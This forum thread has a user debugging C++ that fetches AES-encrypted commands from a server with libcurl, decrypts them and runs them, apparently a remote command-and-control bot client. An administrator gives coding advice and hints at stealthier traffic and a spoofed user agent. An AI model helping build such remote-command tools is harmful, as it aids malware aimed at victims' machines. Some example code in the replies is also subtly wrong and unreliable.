Author Topic: Problems with decoding from b64 to unsigned char  (Read 1535 times)

0 Members and 1 Guest are viewing this topic.

Offline hppd

  • Knight
  • **
  • Posts: 163
  • Cookies: 7
    • View Profile
Problems with decoding from b64 to unsigned char
« on: November 20, 2014, 10:49:55 pm »
Hello there

I'm trying to decode three base64 encoded strings to unsigned chars. And after that send them to another class that decrypts them (they are encrypted AES -> B64). I'm useing libtomcrypt to do this. My problem is probably something retarted but I have been trying to fix this shit for a couple of days and I always get new errors.

(If you see any wrong codeing practices unrelated to the error please let me know because I'm a real n00b)

OKay so this is in my main:

Code: [Select]
 

  //Grab cmd from server     
    j.setEncCmd(j.getCMD(2));
    //Grab key from server
    j.setKey(j.getCMD(3));
    //check if executed or not
    j.ex = j.getCMD(4);
    //grab iv from server
    j.iv = j.getCMD(5);
    cout << j.iv << endl;
    if(j.ex=="0"){
        std::cout << "not executed" <<endl;
        //decode to unsigned char
        unsigned char deco_cmd[1024], deco_key[16], deco_iv[16];
         deco_cmd[1024] = j.decodeBase64(j.getEncCmd());
        cout << (int) deco_cmd << endl;
         deco_key[16] = j.decodeBase64(j.getKey());
        cout << (int) deco_key << endl;
         deco_iv[16] = j.decodeBase64(j.iv);
        cout << (int) deco_iv << endl;
         
        //decrypt AES
        j.decCMD(deco_cmd,deco_key, deco_iv);
    }
    if(j.ex=="1"){std::cout << "executed";}

This is decodeBase64:
   
Code: [Select]

    unsigned char jelly::decodeBase64(const std::string& input) {
    unsigned char* out = new unsigned char[input.size()];
    unsigned long outlen = input.size();
    base64_decode((unsigned char*) input.c_str(), input.size(), out, &outlen);
   
    unsigned char out2;
    size_t s = sizeof(*out);  //Max is 21 for some kind of mysterious reason
    memcpy(&out2, &out, s);
    cout << s << endl;
    return out2;
}
And this is decCMD:
Code: [Select]
int  jelly::decCMD(unsigned char buffer[1024],unsigned char key[16], const unsigned char IV[16]){
    int err;
    symmetric_CBC cbc;
   //register cipher before use
    if (register_cipher(&aes_desc) == -1) {
        cout << "Unable to register cipher." << endl;
        }
    //set the iv
    if ((err = cbc_setiv( IV, 16, /* the IV is 16 bytes long */ &cbc) /* the cbc state we wish to modify */ ) != CRYPT_OK) {
        printf("cbc_setiv error: %s\n", error_to_string(err));
        return -1; }

    //
    if ((err =  cbc_start(find_cipher("aes"),
        IV,
        key,
        16,
        0,
        &cbc)
        )  != CRYPT_OK) {
        printf("ctr_start error: %s\n", error_to_string(err)); return -1;
    }
   
   if ((err = cbc_decrypt(buffer,
        buffer,
        sizeof(buffer),
        &cbc)
        )  != CRYPT_OK) { printf("ctr_start error: %s\n", error_to_string(err));
        return -1;
   }   
    //unregister after use
    /* remove it */
        if ((err = unregister_cipher(&aes_desc)) != CRYPT_OK) {
                cout << "Error removing Rijndael: %s\n" << err << endl;
        }

And here is my output:
Quote
This is the encrypted command: paNeL97oGeRV8HXRMoRbfvrXejJHeKY166vEYebDDbI=
This is the encrypted key: MTExMTExMTExMTExMTExMQ==
This is the encrypted IV: paNeL97oGeRV8HXRMoRbfg==
not executed
This is the length of out: 4
This is the b64 decoded command: 2685636
This is the length of out: 4
This is the b64 decoded key: 2686676
This is the length of out: 4
This is the b64 decoded IV:2686660
cbc_setiv error: Invalid argument provided.

So I'm really puzzled what I should do now. I have tried everything I know so I came to you guys for help.

Thx for reading my thread  :D

« Last Edit: November 20, 2014, 10:51:13 pm by hppd »

Offline Xires

  • Noob Eater
  • Administrator
  • Knight
  • *
  • Posts: 379
  • Cookies: 149
    • View Profile
    • Feed The Trolls - Xires
Re: Problems with decoding from b64 to unsigned char
« Reply #1 on: November 21, 2014, 12:18:55 am »
I'm going to go through this a bit later and give you some detailed analysis and help you out with your issues.  However, I also think it would be useful to post what compiler you're using and what errors & warnings you get.  In addition, it would be very useful to see the definition of 'j'(the class or struct).
« Last Edit: November 21, 2014, 12:22:02 am by Xires »
-Xires

Offline hppd

  • Knight
  • **
  • Posts: 163
  • Cookies: 7
    • View Profile
Re: Problems with decoding from b64 to unsigned char
« Reply #2 on: November 21, 2014, 01:10:27 am »
I'm going to go through this a bit later and give you some detailed analysis and help you out with your issues.  However, I also think it would be useful to post what compiler you're using and what errors & warnings you get.  In addition, it would be very useful to see the definition of 'j'(the class or struct).
I'm useing netbeans with MingW . I don't have any errors anymore only the ones in the output. The lenght of out shouldn't be 4. Also The output off the b64 decoded strings seem to short/maybe completely invalid. I will PM you the whole code.
« Last Edit: November 21, 2014, 01:37:50 am by hppd »

Offline hppd

  • Knight
  • **
  • Posts: 163
  • Cookies: 7
    • View Profile
Re: Problems with decoding from b64 to unsigned char
« Reply #3 on: November 30, 2014, 08:06:52 pm »
I'm going to go through this a bit later and give you some detailed analysis and help you out with your issues.  However, I also think it would be useful to post what compiler you're using and what errors & warnings you get.  In addition, it would be very useful to see the definition of 'j'(the class or struct).
Are you still gonna do this or not?

Offline Xires

  • Noob Eater
  • Administrator
  • Knight
  • *
  • Posts: 379
  • Cookies: 149
    • View Profile
    • Feed The Trolls - Xires
Re: Problems with decoding from b64 to unsigned char
« Reply #4 on: December 01, 2014, 04:59:10 pm »
I apologize for the wait.  The last week has been rather hectic with the holiday & all.  Unfortunately, with all that had happened, I let this completely slip my mind.

Within decodeBase64(), you're declaring 'out' as a character pointer and later using 'sizeof()' to get its size.  The size of a pointer is constant; 4 in 32-bit code, 8 in 64-bit code.  Using strlen() might be preferred.  Later, you use the size as an argument for memcpy() and so only a portion of the original string is copied.  This may lead to the issues you're seeing with the size being reported, consistently, as 4.  It may also be corrupting the intended output.

Having gone through much of the code that you sent me via PM, I have many additional notes and would strongly suggest a complete rewrite.  I know it's not easy to hear that one's hard work is best rewritten but there are flaws in both the design and implementation that will lead to many more future issues as the code progresses.  I'm happy to help restructure the code and explain why and how to implement it differently.

Should you decide you desire or require my assistance in future, I shall try not to make you wait so long.  Further holidays are creeping up, however, so please be patient if there are delays following the solstice.
-Xires

Offline hppd

  • Knight
  • **
  • Posts: 163
  • Cookies: 7
    • View Profile
Re: Problems with decoding from b64 to unsigned char
« Reply #5 on: December 02, 2014, 09:20:07 pm »
I apologize for the wait.  The last week has been rather hectic with the holiday & all.  Unfortunately, with all that had happened, I let this completely slip my mind.

Within decodeBase64(), you're declaring 'out' as a character pointer and later using 'sizeof()' to get its size.  The size of a pointer is constant; 4 in 32-bit code, 8 in 64-bit code.  Using strlen() might be preferred.  Later, you use the size as an argument for memcpy() and so only a portion of the original string is copied.  This may lead to the issues you're seeing with the size being reported, consistently, as 4.  It may also be corrupting the intended output.

Having gone through much of the code that you sent me via PM, I have many additional notes and would strongly suggest a complete rewrite.  I know it's not easy to hear that one's hard work is best rewritten but there are flaws in both the design and implementation that will lead to many more future issues as the code progresses.  I'm happy to help restructure the code and explain why and how to implement it differently.

Should you decide you desire or require my assistance in future, I shall try not to make you wait so long.  Further holidays are creeping up, however, so please be patient if there are delays following the solstice.

Yeah I kow there are a lot of flaws in the code. I would like to hear some tips on the design and implementation? My problem is that I made the analysis in my head instead of on paper. I always want to skip stuff. And it breaks my balls later.

I understand the delay it's no problem. I'm not in a hurry

Also I tried the strlen() before but there were some conversion errors. I don't know for shure if I want to put all my time into rewriting this whole thing.
« Last Edit: December 02, 2014, 09:27:46 pm by hppd »

Offline Xires

  • Noob Eater
  • Administrator
  • Knight
  • *
  • Posts: 379
  • Cookies: 149
    • View Profile
    • Feed The Trolls - Xires
Re: Problems with decoding from b64 to unsigned char
« Reply #6 on: December 03, 2014, 12:37:28 pm »
The fact that you recognize the usefulness of writing plans down and taking time to actually work the 'design' process is a great step and indicative of the great programmer you're likely to become.

For a few basic things:

You absolutely should provide a constructor for the class.  If there is no dynamic allocation done for the class scope then you may be able to skip defining the destructor but implicit constructors are seen as a big 'no no'.  Use the constructor's initialization list to initialize member variables, even if it's just to NULL.

Be considerate of your class's interface design.  Only expose methods publicly which really need to be used publicly and make private anything which can be hidden from the user.  Functions like WriteCallback() appear to be used only by the class itself and thus needn't be externally expose; give it a private scope.

Header guards should be the very first thing in a header, before any inclusions.  One of the main reasons for header guards is to avoid multiple inclusions of the same headers, inclusion loops, circular references, etc.  So do your '#ifdef JELLY_H\n#define JELLY_H' at the very top of the file.

The declaration of class 'jelly' only deals with std::string so that should be the only inclusion for that file.  Other inclusions are made in the implementation file instead.  In addition, try not to use the whole namespace in the class declaration header.  Instead, use 'std::string' where needed(only a few times) and keep the code free of clutter.

The WriteCallback() function is supposed to be defined as (char*, size_t, size_t, void*).  I think you may be confusing CURLOPT_WRITEFUNCTION with CURLOPT_READFUNCTION.  Please recheck the manual.

** It should be noted that I did bother checking the functions mentioned both online(at the references provided) and in my own UNIX manual and found the two to differ.  This is likely due to a version difference between my copy of the API and that which is available online.  In this case, I believe the copy found online to be more updated.  In my copy of curl_easy_setopt(3), I have the following entries.

Quote
CURLOPT_WRITEFUNCTION                                                                                                                                     
              Function  pointer that should match the following prototype: size_t function( char *ptr, size_t size, size_t nmemb, void *userdata);
Quote
CURLOPT_READFUNCTION                                                                                                                                       
              Function  pointer that should match the following prototype: size_t function( void *ptr, size_t size, size_t nmemb, void *userdata);

The 'returnCmd' variable is never used in the implementation and should be removed.  Generally, it is a bad idea to make a return value a class-member variable.  Your intention may have been different but thought it best to make sure I said something.

In situations where you need to test a value against a list of potential values, particularly where that variable is an integral type, try to use a case-switch.

Code: (c++) [Select]
while ((pos = readBuffer.find(delimiter)) != std::string::npos) {
  token = readBuffer.substr(0, pos);
  readBuffer.erase(0, pos + delimiter.length());

  ++i;  // pre-increment is never worse than post-increment, performance-wise, but could be better

  switch (i) {
    case 2:
      encCmd = token;
      break;
    case 3:
      key = token;
      break;
    case 4:
      executed = token;
      break;
    case 5:
      iv = token;
      break;
  }
}

switch (select) {
  case 2:
    return encCmd;
  case 3:
    return key;
  case 4:
    return executed;
  case 5:
    return key;
}

The libcurl-related code would be best in its own function to help handle things in a more generic manner.  I realize it may seem that getCMD() is appropriately dealing with that by itself, but it would be best to have another function that simply returns the readBuffer and the calling function(e.g. getCMD()) would just do the necessary token-selection or other parsing of that returned value.

You have assigned 'res = curl_easy_perform(curl);' but never actually tested that result.  It should be done and the aforementioned libcurl-related function could do this for you easily, throwing an exception if there are any problems or perhaps merely returning an error code.

The specification of CURLOPT_USERAGENT is best made dynamic.  If nothing else, #define it at the top of the file so that it can be quickly changed if need be.  Ideally, this would be something that would default to one value but be specifiable by the interface user.  If using an independent function for the curl-related task, this would be a simple modification.

declaration:
Code: (c++) [Select]
#ifndef JELLY_H
#define JELLY_H

#include <string>

#define DEF_UA "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3"

class jelly {
// other stuff
    int doCurlStuff(std::string&, const char* = DEF_UA);
// more stuff
};
#endif

implementation:
Code: (c++) [Select]
int jelly::doCurlStuff(std::string &rdbuf, const char *uagent) {
// curl-related stuff
}

In getCMD(), the 'pos', 'token' and 'i' variables are used only within the while-do loop.  For the consideration of code-cleanliness, I'd consider making them static.

Code: (c++) [Select]
while ((size_t pos = readBuffer.find(delimiter)) != std::string::npos) {
  static std::string token;
  static int i = 0;
(The rest of the code can proceed as shown in the example above.)

In runCMD(), please close the process before the call to printf().  In fact, unless it is a screen I/O class, screen I/O should never be done from within it(with the possible exception of errors...maybe).  Please reserve screen/terminal I/O for the interface user(i.e. only do it in main.cpp).

In decCMD(), the use of 'err' is redundant and the variable should be removed.  As well, errors should be printed to stderr.  If you're going to use C++, please use std::cerr.  If you're going to use C, use fprintf(stderr, ...).

The accessors/mutators that you're using are technically unnecessary.  There are two recommendations here.

The first is to expose variables publicly if you're just doing direct variable assignment and nothing more.  In the case of 'enc_cmd' & 'enc_key', you aren't doing anything special to them and thus could just as easily make them public.  It is not required but recommended, at least in my opinion.  Consider your use of std::string::npos.  For that matter, consider the construction of the entire C++ 'std' namespace.  Note there's not much use of 'get' and 'set'.  If something is to be directly exposed to the class user, it is made public.  If some other logic needs to be done when getting/setting an internal value, an accessor/mutator is provided.

The second is to make use of overloading for accessors/mutators that you actually need.  This way you can provide an interface that uses a single method name for both 'getting' and 'setting'.  Example follows...

Code: (c++) [Select]
private:
  int _modded;

public:
  int Variable(void) const {
    return _modded;
  }
  int Variable(int v) {
    if (v) return (_modded = (v % 13));
  }

I don't really know what the PHP file contains so I could only make assumptions.  The existing pool of code for tools of this nature is rather lacking in ingenuity, flexibility and capability.  Most of the coders are in a rush to make some quick cash or increase their reputation and could care less about decent, high-quality code.  Don't be afraid to use binary encoded communication note that HTTP headers can be extremely useful if utilized appropriately.

Please try not to intermix C & C++, particularly where I/O is concerned.  If there is a common C++ method for something, use it.  If, for some reason, a C method is necessary then that's fine but intermixing C & C++ as if it was some ugly hybrid bastardization is...painful.  They are, in fact, different languages.

There may have been a few things that I missed but this should be a good start.  I hope it's helpful.  If you'd need or like additional assistance, please don't hesitate to ask.

Good luck && have fun.
-Xires

Offline hppd

  • Knight
  • **
  • Posts: 163
  • Cookies: 7
    • View Profile
Re: Problems with decoding from b64 to unsigned char
« Reply #7 on: December 04, 2014, 05:23:43 pm »
Okay now I get why I need to rewrite the whole thing :p. It will probably be less work then fixing this crap. Anyway thx alot for explaining me some of the basic codeing practises. I have a lot of research to do. The header guards and constructor/destructor was pretty interesting and also now I know I shouldn't use namespace std when I only need std::string. I assumed so because some tutorials told me.. Also I'm now looking into the preprocessor shit, I didn't understand how that worked.

By the way If c++ is a superset of c why shouldn't I mix the 2 up? I get the I/O is messy but the other things shouldn't be such a big deal right?

Quote
In runCMD(), please close the process before the call to printf().  In fact, unless it is a screen I/O class, screen I/O should never be done from within it(with the possible exception of errors...maybe).  Please reserve screen/terminal I/O for the interface user(i.e. only do it in main.cpp).
So remove the print and return result instead?

I also don't really understand the overloading of the mutators. But that's for later..

So I'm going to make a clean version without any encryption. And when that's finished, and I know some more c++ syntax/idioms and codeing practices I'll try to implement the encryption.


Offline Xires

  • Noob Eater
  • Administrator
  • Knight
  • *
  • Posts: 379
  • Cookies: 149
    • View Profile
    • Feed The Trolls - Xires
Re: Problems with decoding from b64 to unsigned char
« Reply #8 on: December 05, 2014, 02:31:55 pm »
It's technically true that C++ is essentially a 'superset', but it's also more than that.  It has reached a point where it is an independent language; a fact made more evident by the need for a different compiler.  C++ introduces many features that C just doesn't have(not that it couldn't, with much work & ingenuity).  Some of the most important features are related to memory management, scope management, error handling, etc.

When intermixing C with C++, it is too easy(and likely, particularly in a large project) to force the program into a situation where it is unable to make proper use of the memory & scope management features provided by the language.  On the other hand, it is also possible to corrupt memory because C++ is doing something that the C library doesn't expect.  It is true that the C standard library provided by the C++-specific headers should help mitigate these problems but it doesn't always happen.

I don't expect that all C should be eliminated from C++ code, as sometimes C's buffered I/O (e.g. fprintf()) is simply superior to stream-based I/O(e.g. std::cout) for certain purposes.  However, it is far better to know when(and more importantly; why) something from C is preferred over something provided by C++.

I realize that this is going to sound a bit elitist, egotistic and arrogant but it feels necessary: please understand that, whilst many may say that there's nothing to worry about, I have been debugging C++ code for well over 20 years and I have seen, and fixed, problems that most have not.  The lessons I have learned from such tasks over time have led me to conclude that it is best not to intermix C & C++ unless you know better and have a good reason.



You could return the result from runCMD(), but I would suggest instead passing a reference to a buffer in which to save the results.  In this way, a user of the class could perhaps parse the results of the command rather than just have it print to the screen.  Further, this absolves you from having to allocate memory local to the function or worse, allocating memory and relying upon the user to free it.  A reference to std::string would generally be fine but an unsigned char* buffer would be usable as well.



C++ allows a concept known as 'function overloading'.  This essentially means that two different functions can have the same name.  The restrictions are that they must have the same scope and return type.  This is achieved through a concept known as 'vtables'; when the code is compiled, functions are given different names(like hashes) and so each function is treated as though it has a different name even if the name in the source is the same.  This allows references in the code to be determined and pointed to the correct resulting function(post-hash) so that they can be compiled.  A few examples might be helpful.

Code: (c++) [Select]
#include <iostream>

using std::cout;  // std::cout is used often
using std::endl;  // so is std::endl
using std::ios;   // several things from std::ios are used

void print_val(bool v) {
    cout.flags(ios::boolalpha);
    cout << "bool:\t" << v << endl;

    return;
}

void print_val(char v) {
    cout << "char:\t" << (v ^= 32) << endl;

    return;
}

void print_val(int v) {
    cout.flags(ios::oct | ios::showbase);
    cout << "int:\t" << v << endl;

    return;
}

void print_val(long v) {
    cout.flags(ios::hex | ios::showbase | ios::uppercase);
    cout << "long:\t" << v << endl;

    return;
}

void print_val(double v) {
    cout.flags(ios::showpoint | ios::scientific);
    cout << "double:\t" << v << endl;

    return;
}

int main(void) {
    bool    b = 1;
    char    u = 'a';
    int     i = -1;
    long    l = (long) &i;
    double  d = (l / i);

    print_val(b);
    print_val(u);
    print_val(i);
    print_val(l);
    print_val(d);

    return 0;
}

Even though the same function name is being called, they are treated as different functions due to the type of input.  This is one of the features that allows polymorphism.  For overloaded manipulators, as mentioned previously, a single function name can be used for both 'get' and 'set' versions.

Code: (c++) [Select]
class something {  // utterly useless class for demonstration only
  private:
    std::string _someVar;

  public:
    something(void) : _someVar(NULL) {}
    something(std::string &v) : _someVar(v) {}

    std::string Var(void) {
        return _someVar;
    }

    std::string Var(std::string &v) {
        _someVar = v;

        return _someVar;
    }

    std::string Var(const char *v) {
        _someVar = string(v);

        return _someVar;
    }
};

In the above class, something::Var() can be used to get the current value(if used with no arguments) or to set the value to a std::string(by passing a std::string as an argument) or set the value to a C-style string-literal.  Notice, too, that the class constructor is also overloaded allowing you to create an instance with no initial value or specify a value at instantiation.  Note that a constructor without arguments is called a 'default' constructor and one which accepts a reference to its own type is called a 'copy' constructor.  Check out std::string::string to see how std::string uses these features.



I understand that this can be a lot of information at once so if you need some clarify, please let me know.  It's somewhat difficult to judge someone else's level of experience with such little interaction.  If you have any questions, don't hesitate to ask.

Also..cookies for you for putting genuine effort into learning & practicing.

Good luck && have fun!
« Last Edit: December 05, 2014, 02:44:43 pm by Xires »
-Xires